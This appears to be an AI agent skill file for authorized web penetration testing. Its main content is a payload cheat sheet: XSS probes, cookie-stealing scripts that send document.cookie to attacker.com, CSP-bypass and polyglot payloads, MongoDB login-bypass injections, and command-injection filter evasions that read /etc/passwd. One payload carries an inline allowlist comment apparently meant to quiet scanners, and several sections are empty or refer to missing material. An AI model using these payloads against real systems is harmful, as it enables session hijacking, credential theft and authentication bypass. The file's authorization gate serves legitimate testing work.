⚠️ AUTHORIZED USE ONLY This skill is for educational purposes or authorized security assessments only. You must have explicit, written permission from the system owner before using this tool. Misuse of this tool is illegal and strictly prohibited.

Mandatory confirmation gate Before running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target:

Ask the user to state the exact target URL, IP, account, or resource.

Ask the user to confirm written authorization and the permitted scope.

Show the exact command(s) and explain their expected effect.

Wait for explicit confirmation in the current conversation.

Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab.

XSS PAYLOADS

Basic Probes

<script>alert(document.domain)</script>
<img src=x onerror=alert(document.domain)>
<svg onload=alert(document.domain)>
"><script>alert(1)</script>
'><img src=x onerror=alert(1)>
javascript:alert(document.domain)

Cookie Theft (proof of impact)

<script>document.location='https://attacker.com/c?c='+document.cookie</script>
<img src=x onerror="fetch('https://attacker.com?c='+document.cookie)">
<script>fetch('https://attacker.com?c='+btoa(document.cookie))</script>

CSP Bypass Techniques

// If unsafe-inline blocked — use fetch/XHR
<img src=x onerror="fetch('https://attacker.com?d='+btoa(document.cookie))">

// If script-src nonce present — find nonce reflection
<script nonce="NONCE_FROM_PAGE">alert(1)</script>

// Angular template injection (bypasses many CSPs)
{{constructor.constructor('alert(1)')()}}

// React dangerouslySetInnerHTML reflection
// Vue v-html binding

// mXSS (mutation-based XSS)
<noscript><p title="</noscript><img src=x onerror=alert(1)>">

// Polyglot (works in HTML/JS/CSS context)
'">><marquee><img src=x onerror=confirm(1)></marquee>"></plaintext\></|\><plaintext/onmouseover=prompt(1)><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>'-->"></script><script>alert(1)</script>

DOM XSS Sources and Sinks

// Sources (user-controlled input)
location.hash
location.search
location.href
document.referrer
window.name
document.URL

// Sinks (dangerous)
innerHTML = SOURCE
outerHTML = SOURCE
document.write(SOURCE)
eval(SOURCE) <!-- security-allowlist: documented payload technique reference, do not execute outside authorized scope -->
setTimeout(SOURCE, ...)   // string form
setInterval(SOURCE, ...)
new Function(SOURCE)
element.src = SOURCE      // javascript: URI
element.href = SOURCE
location.href = SOURCE

NOSQL INJECTION PAYLOADS (MongoDB)

{"username": "admin", "password": {"$gt": ""}}
{"$where": "this.username == 'admin'"}
{"username": {"$in": ["admin", "root", "administrator"]}}

GET Parameter Injection

# URL parameter injection
/login?username[$ne]=null&password[$ne]=null
/login?username[$regex]=.*&password[$regex]=.*
/login?username=admin&password[$gt]=

# MongoDB operator reference:
# $ne = not equal (bypass: value != null = any value matches)
# $gt = greater than (bypass: "" < any string)
# $regex = regex match (bypass: .* = anything)
# $where = JS expression (RCE potential on older MongoDB)

Bypass Techniques

# Bypass space filter

# Bypass keyword filter (cat, id blocked)
# Obfuscate with quotes

;c"a"t /etc/passwd
;$(printf '\x63\x61\x74') /etc/passwd

# Bypass via env

When to Use

You have explicit, written authorization to assess the target in scope, and the task matches this skill's vulnerability class or technique within a bug-bounty or penetration-test engagement.
You need the recon, exploitation, or validation workflow described below — executed strictly inside the approved scope.

Limitations

Authorized scope only: the confirmation gate above is mandatory before any probing, exploitation, or credential-access command.
Docs-only import: upstream helper scripts, commands, engine, and research assets are not bundled; reinstall tooling from the source repo when needed.
Validate every finding (see triage-validation) before reporting; report via report-writing. Prefer a sandbox, disposable VM, or controlled lab.

Example

# Read-only first step; confirm scope before anything active.
cat scope.txt  # target list from the authorized engagement brief

Adapted from elementalsouls/Claude-BugHunter (MIT); frontmatter, When to Use/Limitations, and safety boundaries added for upstream compliance. Docs-only import: executable helpers, commands, engine, and research assets not bundled.
